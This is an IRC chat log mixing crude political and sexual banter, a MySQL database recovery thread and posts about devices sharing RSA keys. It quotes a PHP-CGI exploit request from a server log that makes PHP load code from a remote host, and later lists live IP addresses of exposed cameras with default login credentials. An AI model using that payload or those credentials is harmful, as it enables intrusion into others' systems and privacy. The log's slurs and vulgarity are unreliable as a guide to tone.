13:47 jhvh1 shinohai: ' amputee midgets ' Search - XVIDEOS.COM: <http://www.xvideos.com/%3Fk%3Damputee%2Bmidgets>; midget amputee super hot - YouTube: <https://www.youtube.com/watch%3Fv%3DhOfG1qUYadU>; Urban Dictionary: interracial midget amputee necro-bestiality: <http://www.urbandictionary.com/define.php%3Fterm%3Dinterracial%2520midget%2520amputee%2520necro-bestiality>
13:47 asciilifeform https://archive.is/k58t9 >> gourmet liquishit, e.g., 'The energy tech company with 350 employees has reported annual losses every year since it went public in 2012, including nearly $67.5 million worth of red ink last year. Since September, it has gone through two rounds of layoffs and raised about $26 million by issuing new stock and bringing in two major investors. Enphase officials say with confidence that a turnaround is underway
13:47 asciilifeform and the company is on track to make a profit in the second half of 2017. Its employees have worked to significantly cut the cost of producing its signature devices, microinverters that take DC, or direct current, power from solar panels and transform it into AC, or alternating current, power for homes.'
13:47 shinohai Damn, first results XVIDEOS
13:48 asciilifeform the way i currently understand the 'microinverter' nonsense, is that enphase found a further chineseification of the solar scamatron, by replacing the traditional massive dc-ac inverter with a multitude of small chinese turds, made for use in autos
13:48 asciilifeform idea is that schmuck won't notice when they fail
~ 20 minutes ~
14:09 mircea_popescu asciilifeform obamafinance.
14:10 mircea_popescu but yes, that's pretty much exactly it.
14:13 asciilifeform pretty lulzy inversion of the usual corporate dynamic, where there are shareholders and they want growing profits; instead there is a printolade supplier, who wants manageable (or -- optimistically -- slowing!) bleed
14:15 asciilifeform at no point, interestingly, is there much of any kind of pressure to make a widget that ~actually works~
14:16 asciilifeform !!up gabriel_laddel_p
14:16 deedbot gabriel_laddel_p voiced for 30 minutes.
14:16 gabriel_laddel_p https://docs.google.com/document/d/1tQ8nHp2wWD-U4c7l8FbZgW3GJfhni78hDZJH4ihKSpI/edit?usp=sharing
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14:16 gabriel_laddel_p mircea_popescu: no wrap(80) for the archiver.
14:16 gabriel_laddel_p if someone has a problem with it, speak now
14:16 gabriel_laddel_p personally, I prefer the wrapping, but w/e
14:17 asciilifeform whatever it is, why does it HAVE to live on liquishithost
14:17 asciilifeform can haz human host ?
14:17 gabriel_laddel_p asciilifeform: nope.
14:17 asciilifeform wainot
14:17 gabriel_laddel_p because I go broke ~every week at least?
14:17 asciilifeform didn't somebody finally buy the gabriel_laddel_p box ..?
14:18 gabriel_laddel_p asciilifeform: people have offered, but unless I physically own the boxes, I'm not interested
14:18 trinque because you own your google cloud whatevers
14:19 Framedragger or kiwiirc.com
14:19 * CompanionCube has always preferred postgres to mysql
14:19 gabriel_laddel_p Framedragger: trinque: I'm interested in ditching the web & eventually x86 as a whole, not somuch in sanitizing my crappy setup.
14:20 trinque looks someday I'll take the longest bath anyone ever took.
14:21 asciilifeform lol
14:21 gabriel_laddel_p Oh, and the archiver will save both the text version & the previously posted rich webpage version with js, images & whatnot.
14:22 mircea_popescu ftr Framedragger : type was longtext
14:22 asciilifeform gabriel_laddel_p: where do you host this ? also google ?
14:23 gabriel_laddel_p asciilifeform: SF. I have a Masamune that will sit on here as a bot, archive all links that show up & git push them to github.
14:23 Framedragger mircea_popescu: hm.. okay. wonder why it failed. (i guess in the future consider LONGBLOB for this (and encode/decode as needed), but it wasn't..that large, even.. huh.)
14:23 mircea_popescu aha
14:25 Framedragger gabriel_laddel_p: ideally it would also save a full 'rich' version (whole DOM) but without JS, the way archive.is does
14:25 Framedragger !#s dump dom
14:25 a111 3 results for "dump dom", http://btcbase.org/log-search?q=dump%20dom
14:25 trinque gabriel_laddel_p: why the FUCK would you spend any time whatsoever on doing it that way?
14:25 * Framedragger bbl
14:26 ben_vulpes buenos diiiiaaaaas
14:27 trinque in this thread we listen to how gabriel_laddel_p is very special, and you don't understand me mom
14:27 gabriel_laddel_p ben_vulpes: hello!
14:27 shinohai buenas tardes ben_vulpes, listo para cojer putas?
14:27 trinque and portage is seriously one coke bump from being ported to lisp.
14:28 ben_vulpes siempre, shinohai
14:28 gabriel_laddel_p Framedragger: I saw the discussion, and will not be doing a DOM dump because I'm not going to spend any time in the browser internals.
14:28 shinohai :D
14:28 gabriel_laddel_p Framedragger: and for future reference, I read all the logs, everytime.
14:28 gabriel_laddel_p trinque: by you?
14:29 Framedragger k.
14:29 gabriel_laddel_p trinque: ported to lisp at what level? Could you please describe in more detail? Eg, is there a new ebuild format, do you interpret the old one, do you have lisp that translates shell scripts...
14:30 ben_vulpes relevantly shinohai i was out at this performance of baroque french choral set, chamber music scale, and in between songs (which were very well done), there was much woke angsting about el pussy grabber in chief
14:30 trinque fucks sake kid I'm mocking you
14:30 * ben_vulpes could not refrain from grabbing the pussy with which he arrived
14:30 ben_vulpes i think that i may have been one of like 3 straight doods in the room; high lez factor
14:30 asciilifeform next day ben_vulpes went to a boar hunt, could not resist eating the bacon he brought in a bag himself...
14:30 trinque whatever, gay guys will grab titties all the time
14:30 gabriel_laddel_p trinque: oic. ftr I looked into doing this & decided against it.
14:31 ben_vulpes asciilifeform: well hey the singer i went to see wasn't in stripper mode during the choral performance
14:31 shinohai It's the sad part of enjoying any form of culture here too it seems, full of speshul snowflakes and sjw's
14:33 ben_vulpes shinohai: ask them what they think about menstrual leave
14:33 ben_vulpes feign total socialistoid embeddment
14:34 shinohai I want time off for male menopause, like a sabbatical.
14:34 trinque ben_vulpes: compulsory leave?
14:34 ben_vulpes "so i'm all for maternity and paternity leave, i have kids, it's just fantastic. and i've been thinking about other things that people should get state-sponsored leave for, and like aren't some women struck by totally debilitating menses? they should totally have time off for that."
14:34 ben_vulpes trinque: "TO THE BACK OF THE CARAVAN WITH YE"
14:34 trinque weew
14:35 * asciilifeform misread - 'male menses'
14:35 ben_vulpes "but then from a justice perspective it's just inherently gender inequitable, so i don't know! i just don't know."
14:36 ben_vulpes next to ubi menstrual leave is clear in the middle of the overton window.
14:39 mircea_popescu !~ud ubi
14:39 jhvh1 mircea_popescu: Error: "ud" is not a valid command.
14:40 trinque http://p.bvulpes.com/pastes/rTF18/?raw=true << in other "help you in my own way"
14:40 shinohai toppest of keks
14:41 * mircea_popescu has recovered his db, is now fighting with monstrous conspiracy that swears on all voices "no dude it's legit, 40gb!"
14:41 trinque mircea_popescu: universal basic income
14:41 mircea_popescu ah
14:42 ben_vulpes everything must be free
14:42 CompanionCube I don't think that's the idea of UBI
14:42 ben_vulpes everything must be a pale simalacrum of something that existed as a real item at some point
14:43 asciilifeform CompanionCube: http://btcbase.org/log/2017-03-24#1632313
14:43 a111 Logged on 2017-03-24 13:31 asciilifeform: Framedragger: aka landlord payola, lol
14:43 ben_vulpes CompanionCube: just try it some day
14:44 asciilifeform CompanionCube: and http://btcbase.org/log/2017-03-29#1634398 .
14:44 a111 Logged on 2017-03-29 21:56 asciilifeform: ( the other funny detail, it certainly ain't ~everyone~ who'd get payola. certainly not dirty kulaks. )
14:44 ben_vulpes "you know i really like this ubi idea; imagine the cambrian explosion of art and culture that would happen if people didn't have to work to eat, right? well imagine if *everything* were free, not just food internet and housing. it's not like we need tax receipts to pay for it, just increase the national debt a little! i doubt it would even come close to the cost of an f35 to make everything free."
14:44 trinque !~ticker
14:44 mircea_popescu i thought it's obvious ubi is for the incompetent sluts that are "going to college" and the assorted ghetto scum "tryna make it in dis game"
14:44 jhvh1 trinque: Bitfinex BTCUSD ticker | Best bid: 1195.4, Best ask: 1195.5, Bid-ask spread: 0.10000, Last trade: 1195.4, 24 hour volume: 29527.58713279, 24 hour low: 1123.0, 24 hour high: 1197.0, 24 hour vwap: None
14:44 trinque no, please do
14:45 ben_vulpes ubi is a statal self-crit
14:45 ben_vulpes i think it's awesome
14:45 ben_vulpes also everything must be free
14:45 mircea_popescu not really avoidable.
14:45 * trinque 100% in favor of ben_vulpes' p-peddle to the metal m-morty approach to end of the state
14:45 ben_vulpes trinque: w-what?! i just want to make life better for historically disadvantaged groups!
14:46 mircea_popescu trinque i certainly don't see anything wrong with teaching the stupid how to be even stupider until the time they're actually ready to hands and knees.
14:46 shinohai Turned !~ud bqck on mircea_popescu ... cheers!
14:46 mircea_popescu a cool
14:46 mircea_popescu !~ud woke whore
14:46 jhvh1 mircea_popescu: ERROR: 'woke whore' not defined on UrbanDictionary.
14:46 * shinohai had forgotten it twas disabled
14:46 mircea_popescu imagine.
14:46 shinohai !~ud Lemon party
14:46 jhvh1 shinohai: Lemon party :: One of the unholy trinity of internet pictures which all must witness to be 'jaded internet users' (tubgirl, goatse, and lemonparty), lemonparty is probably the tamest of the three by just being hardcore old man gay orgy sex. Believe me, the other two are worse. [ex:] *upon seeing lemonparty* OH GOD MY EYES!!! [/ex] | Closly related to the infamous "[tubgirl]" site. If one goes to (6 more messages)
14:47 ben_vulpes what lemon party is jading now?
14:47 ben_vulpes how are sarin death videos not in that list
14:47 asciilifeform !~ud haskell
14:47 jhvh1 asciilifeform: haskell :: 1 -- A general purpose, polymorphicly typed, lazy functional programming language largely based on lambda calculus. 2 -- A constant source of frustration for those who have been brainwashed by the OO paradigm. [ex:] You: How do I write a 'while' loop with Haskell?Me: You can't, freshman. [/ex] | A town in Northern New Jerse located between Ringwood and Pompton Lakes, smaller district of (5 more messages)
14:47 ben_vulpes whatever, thanks urban pricktionary
14:47 asciilifeform damn, i was quite certain i recalled it read 'sad coke hell'
14:48 ben_vulpes someone got butthurt no doubt
14:48 mircea_popescu what's the while loop to do with the "oo paradigm" ?
14:48 ben_vulpes not an erudite enough critique
14:51 mircea_popescu !~ud obama
14:51 jhvh1 mircea_popescu: obama :: The Messiah for brain-dead Democrats. [ex:] No matter what he says, no matter what he does, they'll worship the great Obama. [/ex] | An acronym standing for One BigAss Mistake,America! [ex:] Q: What was the result of the 2008 election?A: OBAMA [/ex] | Has no real experience, because most of his time as "senator" was spent campaigning for his own election to President. Is praised (10 more messages)
14:51 mircea_popescu !~ud trump
14:51 jhvh1 mircea_popescu: trump :: 1. To have superior power over.2. To surpass or outdo.3. When a person says "trump," you are required to do whatever you just claimed you would do, no matter how exaggerated it was. If you don't do it, you get a [spartan kick] to the chest. [ex:] 1. Bob: The president's word trumps yours, Joe, you homeless piece of shit. When he says something it must be done.2. Joe: Man, I'll trump your ass (5 more messages)
14:52 mircea_popescu !~ud bannon
14:52 jhvh1 mircea_popescu: bannon :: When a person or animal gets high on a substance, often in unexpected places. This usually ends in chaos for everyone. [ex:] At school all my friends bannoned on sharpies. [/ex]
14:52 asciilifeform lol!!
14:52 mircea_popescu this is remarkably better than wikipedia.
14:54 shinohai "obama :: The Messiah for brain-dead Democrats. " <<< Accurate
15:00 asciilifeform in other noose, phuctor stats now ~unloadable
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15:01 asciilifeform the rewrite might have to happen sooner rather than later.
15:03 mircea_popescu any ideas on probing and cutting large files ? dd freezes.
15:03 asciilifeform 'ddrescue'
15:03 mircea_popescu i dun have it ;/
15:03 asciilifeform (or 'dd_rescue', they are -- perversely -- separate proggies by separate people, that do ~same thing )
15:04 mircea_popescu neither\
15:04 asciilifeform it is similar to dd but will show progress, and retry bad reads/writes (showing you if your drive is hosed)
15:04 mircea_popescu i guess i'm naive to imagine standard tools can do the job of fixing the mess standard tools created huh
15:04 asciilifeform mircea_popescu: if you want 'what box came with', that means standard retarded unixland
15:04 asciilifeform and aha, mno.
15:04 mircea_popescu what i want is non-freezing tools.
15:04 mircea_popescu i dunno why this is such a tall order.
15:04 asciilifeform because unix.
15:05 asciilifeform it doesn't even have a concept of sane process interruption + resumption.
15:05 asciilifeform can stop literally anywhere.
15:05 asciilifeform (nor of sanely organized state)
15:05 mircea_popescu head doesn't work on a large file.
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15:05 mircea_popescu explain this to me. however long it may be, IT STILL STARTS IN THE SAME PLACE.
15:05 mircea_popescu head must takle THE SAME TIME whether reading 1kb or 1pb file.
15:06 asciilifeform worx fine on 100+GB file here.
15:06 mircea_popescu i am plagued by cursed bs.
15:06 asciilifeform sounds like rotting disk
15:06 mircea_popescu i checked it and it's fine
15:06 asciilifeform ( any signs thereof in, e.g., dmesg ? )
15:06 mircea_popescu nope
15:06 mircea_popescu 0 bad sectors also. smart looks good, whatever.
15:07 mircea_popescu copied multiple 100s of gb past hours, none failed anything.
15:07 asciilifeform if this is anything like past cases, mircea_popescu's box is peculiar in some way literally nobody else could possibly guess
15:07 asciilifeform and this caused it.
15:07 mircea_popescu i suppose.
15:08 mircea_popescu anyway, im dumping teh table as a sql and will be wanting to hack it up. but i have no tools with which to identify the CUT HERE spot
15:09 asciilifeform also mircea_popescu how didja know that 'dd hanged' rather than merely taking long time
15:09 mircea_popescu there is no "taking long time"
15:09 asciilifeform 100G of dd takes ~hour here
15:09 mircea_popescu if it took longer than my refresh interval it hung.
15:12 mircea_popescu and in other lulz : apparently tail -n+x | head -n10 takes 4 times less than tail -nx+1 | head -n10
15:14 CompanionCube also, modern dd also has progress reporting
15:14 CompanionCube when using status=progress
15:15 mircea_popescu is 8.4 modern ?
15:15 CompanionCube Doubt it, considering my gentoo is on 8.25
15:16 mircea_popescu 111119289 tril_posts.sql << that took ~5 minutes of wc time.
15:18 CompanionCube mircea_popescu: it seems the feature was introduced in this release: https://git.savannah.gnu.org/cgit/coreutils.git/tree/NEWS#n355
15:18 CompanionCube 8.24
15:18 mircea_popescu apparently if you send it usr1 sig it will spit stats to stderr
15:21 Framedragger http://btcbase.org/log/2017-04-06#1639243 << this doesn't seem right. `tail` should work fine, too (it seeks to end of file and then rewinds, should be superfast on arbitrary sized files)
15:21 a111 Logged on 2017-04-06 19:05 mircea_popescu: head doesn't work on a large file.
15:22 mircea_popescu im clocking MINUTES of cpu time.
15:23 mircea_popescu i can see the theoretical "benchmarks" online too. the problem is they're bs, "test file generated by seq 100mn". hurr. how about generate a file with lines of random length between 1kb and 1mb, then benchmark it.
15:24 asciilifeform is something hogging the disk ?
15:24 asciilifeform how long does it take to, e.g., touch foo.bar ?
15:24 mircea_popescu ~0
15:24 asciilifeform then hm.
15:24 Framedragger mircea_popescu: recently had to tail multigb files, it was *instant* (because, seeks to end of file). seems like a disk prob to me
15:25 mircea_popescu meanwhile 0:29.14 tail <
15:25 Framedragger what does iotop (under root) say?
15:25 Framedragger (ah it's not installed by default i'm afraid)
15:25 mircea_popescu command not found
15:25 Framedragger should be in repo as `iotop`
15:25 mircea_popescu hoooly shit.
15:26 mircea_popescu tail -n+150000 tril_posts.sql | head -n5 > hurr.txt produces empty file ; meanwhile wc -l claims 111119289
15:27 Framedragger i am very interested in i/o of `tail` while it's running. wtf. would apt-get install iotop
15:28 mircea_popescu -- Dump completed on 2017-04-06 15:10:30 << at least i know for a fact i got an integral mysqldump. sadly it's 40.9 gb.
15:35 mircea_popescu and the mystery starts to unravel : the first 52mb of this file consist of ... one line of ^@
15:36 Framedragger oof
15:37 mircea_popescu sed 's/^@//g' actually crashes :D
15:38 asciilifeform mircea_popescu: is it really ^@ or is that just what you get out of the terminal
15:38 asciilifeform what's the hexdump look like ?
15:38 mircea_popescu and what am i, mafalda ?
15:38 mircea_popescu how will i hexdump ?
15:38 asciilifeform yourthing | hexdump -C
15:38 mircea_popescu you're new here aren't you.
15:39 mircea_popescu here's a heads-up : head has been going for ~4 minutes. i expect it to crash without output.
15:39 Framedragger head -c 1000 | hexdump -C
15:39 Framedragger bytes, not lines
15:40 mircea_popescu ah that's an idea.
15:40 mircea_popescu lessee
15:40 asciilifeform simply pointing out, '^@' is terminal barf, not contents
15:40 mircea_popescu no im aware asciilifeform
15:40 mircea_popescu Framedragger bingo, "00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
15:40 asciilifeform ( it suggests that mircea_popescu's sql dump isn't 7bit clean )
15:40 asciilifeform aaaha
15:41 Framedragger mysqlol
15:41 mircea_popescu myeah.
15:41 mircea_popescu now then : how do i wipe null chars from file ?
15:41 mircea_popescu looks like i got about 40mb of them
15:41 mircea_popescu gb*
15:42 mircea_popescu mebbe tr halps.
15:42 asciilifeform sed -i 's/\x0//g' file
15:43 mircea_popescu tryin tr -d '\000' because sed crashed once already
15:43 Framedragger sed is only supposed to work on text files but hm.. also, one clunky way would be to hexdump whole file into hex.bin, then work with that
15:43 mircea_popescu (i suspect /g doesn't work well with mb lines)
15:44 asciilifeform cat file.foo | tr -d '\000' > new_file.foo
15:44 mircea_popescu \s what im doing
15:45 mircea_popescu sadly the output is over 8gb already. apparently i got more crap in there.
15:47 Framedragger wait how did you end up with that large ass file? sql dump?
15:47 mircea_popescu Framedragger myisamchk'd the extant MYI/MYD pair, got a db file which works but is too large, had mysqldump drop it as a .sql
15:47 mircea_popescu trying to clean it up and put it back in now.
15:50 mircea_popescu holy shit it returned! we're down to 25 gb now!
15:53 asciilifeform !!up gabriel_laddel_p
15:53 deedbot gabriel_laddel_p voiced for 30 minutes.
15:54 gabriel_laddel_p http://btcbase.org/log/2017-04-06#1639114 < I didn't realize that this "sharing" link would open in google drive. Here is a link to the same file that you can open in emacs, curl etc https://raw.githubusercontent.com/gabriel-laddel/masamune/master/slate-star-codex-no-wrap80.txt
15:54 a111 Logged on 2017-04-06 18:16 gabriel_laddel_p: https://docs.google.com/document/d/1tQ8nHp2wWD-U4c7l8FbZgW3GJfhni78hDZJH4ihKSpI/edit?usp=sharing
15:54 Framedragger mircea_popescu: hm okok. an .sql file should not contain any non-printable chars so that in itself is alarming.. weird
15:54 asciilifeform Framedragger: it strongly suggests disk rot, imho
15:55 asciilifeform gabriel_laddel_p: what am i looking at
15:55 asciilifeform seems like a massive reddit paste ?
15:55 mircea_popescu Framedragger how do you figure ?
15:56 gabriel_laddel_p asciilifeform: http://btcbase.org/log/2017-02-14#1613716
15:56 a111 Logged on 2017-02-14 00:14 mircea_popescu: gabriel_laddel_p if it could detect and wipe the idiotic wrap(80) thing that'd be great.
15:56 gabriel_laddel_p asciilifeform: in that conversation I dropped "rich webpage" & "text" archives into the log, which were OK'd, given that word-wrapping was removed.
15:57 asciilifeform aah
15:57 mircea_popescu o yeah check that out
15:57 Framedragger mircea_popescu: .sql is a set of statements which you can run on db to put it back into the state which produced the .sql in question, no? but, if there's mysql specific convention bullshit tho, i wouldn't know :/
15:57 gabriel_laddel_p having both text & the js/images/etc prevents lizardhitler from "unhappening" headlines, while ensuring that DOM dumping and other crazy nonsense doesn't have to be implemented.
15:57 mircea_popescu Framedragger and if i store a jpeg the dumper is supposed to do what, base64 it ?
15:58 mircea_popescu asciilifeform i'm reasonably happy with the format tbh.
15:58 Framedragger i don't know how it would encode it, but in general, yes. more like, escape nonprintable chars with "\0" i guess
15:58 Framedragger but i'll check lest i'm talking out of ass
15:58 mircea_popescu i wasn't aware .sql is supposed to be a text file.
15:59 Framedragger seems mysql does not have a 'binary dump' option. so basically, yes
16:00 Framedragger typical small .sql is usually just a set of "INSERT INTO .. VALUES ..", but mircea_popescu is running a large escher megasite, so i'm less certain..
16:01 mircea_popescu normally it'd be all text, but because it got fucked it got filled with crap. which the dumper can't discern from legit stuff.
16:01 Framedragger (i don't know about that "db" file, tho, i mean, that one's binary)
16:02 mircea_popescu notrly, mostly text also.
16:02 mircea_popescu MYD i mean
16:02 Framedragger (but output of mysqldump is *supposed* to be a set of sql statements.)
16:02 Framedragger i don't know what that is
16:02 mircea_popescu mysql stores mysiam rows as a myd / myi pair of files
16:02 mircea_popescu very much like our dear bitcoin really.
16:03 * CompanionCube can't speak for mysql but knows that postgres dumps can be a mixture of text and binary data
16:04 CompanionCube unless you specify the 'plaintext' format
16:04 Framedragger mysqldump appears to support text-only
16:05 mircea_popescu holy shit.
16:05 Framedragger but actually, i haven't run mysqldump in forever and not 100% certain about docs, so i don't know
16:05 mircea_popescu i don't imagine anyone can actually intuit what i in fact did.
16:06 Framedragger mircea_popescu: by text-only i meant the *output*, it can certainly handle binary blobs
16:06 mircea_popescu get a load of this :
16:07 mircea_popescu UPDATE table SET content field = '(the 2mb content of the post i wanted ADDED goes here)'
16:07 Framedragger (one internet says "No, it is not always reliable when you have binary blobs. In that case you MUST use the "--hex-blob" flag to get correct results." << untrusted source)
16:07 mircea_popescu which is how one ends up with a multi-gb db. apparently it got executed even though no ; at end or anything
16:08 CompanionCube why not just restore from previous DB backup if any
16:08 mircea_popescu aha.
16:08 * shinohai snickers
16:11 gabriel_laddel_p Oh, and I learned the price of lispworks - 4.5k
16:12 asciilifeform hah, only 30% up in 7y
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16:33 shinohai https://pbs.twimg.com/media/C8n4cyrWAAQ_MIt.jpg
16:34 trinque texan as hell.
16:37 asciilifeform faek?
16:39 trinque probably
16:39 trinque https://www.state.gov/secretary/remarks/2017/04/269465.htm << wahahaha
16:39 trinque no, real.
16:40 Framedragger notbad.jpg
16:41 shinohai "We choose not to become involved with N. Korea's ongoing war with the sea" would have been more lulzy
16:42 trinque well, not everybody can snark on a qntra level.
16:44 shinohai This is why I am not Secretary of State.
16:45 asciilifeform lol @ 'Parental Child Abduction' page.
16:46 asciilifeform ( where, one wonders, is the 'surplus sarin for ModerateRebels' page, order form)
16:50 shinohai So I noticed thestringpuller has changed his location on twitter from "La Serenissima" to " Wakanda "
16:51 shinohai Which begs the question, wtf is a Wakanda
16:51 CompanionCube https://en.wikipedia.org/wiki/Wakanda_(comics)
16:52 CompanionCube 'Wakanda is a fictional nation appearing in American comic books published by Marvel Comics.[1] It is the most prominent of several fictional African nations in the Marvel Universe, and it is home to the superhero Black Panther. Wakanda first appeared in Fantastic Four #52 (July 1966), and was created by Stan Lee and Jack Kirby.'
16:52 shinohai A fictional cargo cult.
16:55 * shinohai goes back to remotely setting up a lovense ....
16:56 mircea_popescu oook... trilema is back online.
16:56 mircea_popescu please check your favourite articles for any upset! ty for your patience!
16:57 CompanionCube mircea_popescu: do you plan to write an article about mysql being a shit?
16:58 mircea_popescu how is mysql a shit ?
17:00 CompanionCube in the sense that it/the dump tool produced a overly-large 40gb file?
17:00 * CompanionCube doesn't think he phrased it correctly
17:02 Framedragger i mean even if mircea_popescu aborted a db write, it shouldn't have forked into gigs of crap?..
17:02 Framedragger congrats on emerging alive on the other side
17:02 mircea_popescu Framedragger i dun think you've grokked the depths of my idiocy
17:02 mircea_popescu I UPDATED EVERY SINGLE CONTENT FIELD FOR EVERY ARTICLE TO THE NEW ONE
17:02 Framedragger oh, ah
17:02 Framedragger wowwwww
17:02 Framedragger :D
17:03 Framedragger wow even more congrats on emerging alive
17:04 mircea_popescu and then it crashed because suddenly turning 10s of ks of article into a 3mb turd inflated the db.
17:04 mircea_popescu and THEN i interrupted it so it lost its indexes too.
17:05 Framedragger not a bad eventual outcome at all
17:05 mircea_popescu the moral being that db engineers are made not born, and this is how. so unless you're willing to burn dbs, don't hire noobs to engineer your storage
17:06 mircea_popescu even if the noobs are yourself.
17:06 ben_vulpes utterly unrelated: https://68.media.tumblr.com/51e9183a4ac0ca21bb22fb702e5b6bc9/tumblr_oo0ak4Cl321w7wz67o1_400.gif
17:08 Framedragger mircea_popescu: so you went through every row checking if it has turd at start, and removing that turd? or found binary log to roll back the transaction (which should have aborted and rolled back, something something)
17:08 shinohai Hot as fuck ben_vulpes
17:08 * shinohai likes brunettes
17:09 mircea_popescu Framedragger i whined at person actually in charge of this who gave me the backup.
17:10 Framedragger hey backup&restore process tested successfully
17:24 trinque mircea_popescu: the fucking syntax though eh? cut all dicks off all males, then you back it down to particulars!
17:24 trinque I by way of a sad life always write the where clause first
17:24 trinque hell actually, cut the dicks off the females too!
17:26 trinque (wherein phf gets mad at me re: that's how set theory works and I scratch at my left stump)
17:28 * Framedragger considers linking to godel's ontological proof of god in Coq
17:29 trinque you keep your coq to yourself
17:29 * trinque wrenches his troll-switch back to off
17:31 Framedragger (apparently some couple of russians had a fight and one shot the other over a dispute regarding kant. i can believe that)
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17:55 asciilifeform oh hey congrats mircea_popescu
17:57 asciilifeform in other new lulz, 191.96.249.97 - - [06/Apr/2017:21:12:20 +0000] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+max_execution_time%3D0+-d+disable_functions%3D\x22\x22+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp://191.96.249.97/ok.txt+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n HTTP/1.1"
18:07 CompanionCube O.o
18:11 asciilifeform elsewhere, Number of Microinverters 126 Number of Microinverters Online 110 << lel
18:12 asciilifeform (univ. of chicago)
18:20 deedbot http://www.contravex.com/2017/04/06/tesla-model-3conomics/ << » Contravex: A blog by Pete Dushenski - Tesla Model 3conomics.
18:25 ben_vulpes for my subros: http://68.media.tumblr.com/19b8e0d81c0a3baa31395cdf09f11326/tumblr_oh8zmoG4nG1r9640po1_1280.jpg
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18:53 mircea_popescu trinque apparently.
19:02 ben_vulpes !!up fromloper
19:02 deedbot fromloper voiced for 30 minutes.
19:02 ben_vulpes fromloper: interested in factoring rsa keys?
19:03 ben_vulpes may have missed the window of opportunity/interest there...
19:04 mircea_popescu huh ?
19:05 ben_vulpes > 22:39:07, fromloper joins
19:05 ben_vulpes > 22:51:27 ben_vulpes ups fromloper to great crickets
19:05 ben_vulpes fromloper likely not even looking at browser tab anymore
19:07 mircea_popescu ah, whatevs
19:14 * shinohai just now noticed that comic sans "trilema" font that made him think of dogecoinz
19:21 doppler I didn't even notice it was comic sans until I happened to browse on my windows box
19:22 fromloper it's alive
19:22 asciilifeform wat
19:23 ben_vulpes ohey fromloper
19:23 ben_vulpes what brings ye by
19:23 shinohai Is it recent lulz?
19:24 mircea_popescu doppler it's only comic on windows.
19:24 fromloper I was hungry and I smelled smores.
19:25 mircea_popescu http://trilema.com/2017/phuctor-checkpoint/ << finally, the much belated article.
19:25 asciilifeform oh hey.
19:25 mircea_popescu to think i nearly lost trilema over this bitch!
19:25 ben_vulpes no...backups?
19:25 fromloper actually, I found sweet rants on clojure, and followed the crumbs.
19:25 mircea_popescu sure, backups.
19:26 mircea_popescu fromloper get a key, get a name, stuff.
19:29 fromloper thank you. I will.
19:30 shinohai I'm actually impressed some fromloper finally speaks
19:30 shinohai *someone
19:30 mircea_popescu not the first is it ?
19:31 fromloper someplurality.
19:31 shinohai First one I am privy to in recent memory.
19:32 asciilifeform !!up fromloper
19:32 deedbot fromloper voiced for 30 minutes.
19:33 fromloper fromloper studies his marshmallow, admiring its gentle bronzing in the crackling fire.
19:35 asciilifeform in other vintage finds, http://phuctor.nosuchlabs.com/gpgkey/233AA111786036F5FC0A4D9B780E25E18670BAE5AAB7A1A2EDF1F7BB9E1BB338 >> e.g., http://217.91.20.227 >> http://www.itfm.de/BNetz/index.html << 'Das Bürgernetz: Schnelles Internet auch in Ihrem Ort.' << all same key
19:41 mircea_popescu schnellerer that way.
19:41 asciilifeform clearly.
19:42 asciilifeform in other lulz, http://phuctor.nosuchlabs.com/gpgkey/F54008AE3FADA22531547A33562B62FD88ED9B238DF439A7ECD9DE2D1A1D8E2C >> http://www.schmid-telecom.com << all same key.
19:42 asciilifeform '3 WAYS VOIP HAS TRANSFORMED BUSINESS COMMUNICATIONS' didjaknow.
19:42 deedbot http://trilema.com/2017/phuctor-checkpoint/ << Trilema - Phuctor checkpoint
19:43 fromloper fromloper quietly pulls his poncho around himself and quietly retreats into the saguaro darkness, but his eyes are friendly, and he has been grateful for the warmth.
19:44 mircea_popescu guy sounds like a roguelike
19:44 asciilifeform http://phuctor.nosuchlabs.com/gpgkey/95BDC824F4603F27A029994EC048F1762845C33589B600720973BE2B93269201 >> SonicWALL << all same key.
19:45 asciilifeform and afaik not listed anywhere as 'cve' or whatnot.
19:53 asciilifeform http://phuctor.nosuchlabs.com/gpgkey/6A15537F612C3FD8268F8B468FD49CB09F81C56EE35DA5A7DA0AE05A1F9FCC19 >> 'OpenWrt Backfire 10.03' << all same key
19:54 asciilifeform http://phuctor.nosuchlabs.com/gpgkey/12E33F9E49E155F1A0FC54B92E8D60A589DE15017A5D4FC9B6F1D9E3046E615E << i'd still luvvv to know what these are, 111 modulus dupes, but none seem to ping.
19:58 asciilifeform ^ http://110.171.185.7:8080/Docsis_system.asp << cable modems, apparently.
19:58 asciilifeform mostly asia.
20:02 asciilifeform or hm, no! all sorts of hardware. but all debianized.
20:03 asciilifeform looks like this brings us up to date re the dupemod champs.
20:04 asciilifeform bonus lulz: http://114.38.11.238:8181 << D-Link DIR-850L
20:04 asciilifeform 125.227.247.104 ( and bunch of boxes ) have world-writable upnp (ddostron)
20:04 asciilifeform ^ http://phuctor.nosuchlabs.com/gpgkey/BEA667C1EF91D984BD88D7965AB8DF307E51BB6993AE227460584AEFD36F3616
20:05 mircea_popescu ooobviously
20:07 mircea_popescu in other news, http://www.aljazeera.com/indepth/features/2017/04/destroyed-iraq-mosul-civilian-deaths-170405072214906.html
20:07 asciilifeform ooooh and :
20:07 mircea_popescu (no weddings were bombed, totally not the same as aleppo etc)
20:07 asciilifeform http://95.225.182.148/doc/page/main.asp << webcam. admin/12345 .
20:08 asciilifeform ^ who has a winblowz box up ?
20:08 asciilifeform http://phuctor.nosuchlabs.com/gpgkey/67292F9B4E5202A528710EB964E9DE8072D79EA211065FA83B8414E214207E8F << all of them, i think.
20:08 asciilifeform pr0ncams.
20:09 asciilifeform http://wotpaste.cascadianhacker.com/pastes/OhvSO/?raw=true << from mircea_popescu's dump, for convenience of pr0ncam viewers.
20:09 mircea_popescu is it actually ?
20:09 asciilifeform i have nfi, 'need plugin to display'
20:09 mircea_popescu seem cheapo chinese surveillance cams
20:10 asciilifeform aha, megatonne of'em
20:10 mircea_popescu classical wall mounted thing with directional controls etc
20:10 asciilifeform yeah, them
20:10 asciilifeform but from here i cannot currently see through the cam.
20:10 asciilifeform it wants some browser plugin nonsense.
20:10 mircea_popescu check it out asciilifeform isis shot down a helicopter
20:10 mircea_popescu WITH AK FIRE
20:10 asciilifeform mircea_popescu: neato
20:11 asciilifeform know from what distance ?
20:11 mircea_popescu know from backchannels and the fact that the govt isn't making a point "oh, they had bazooka"
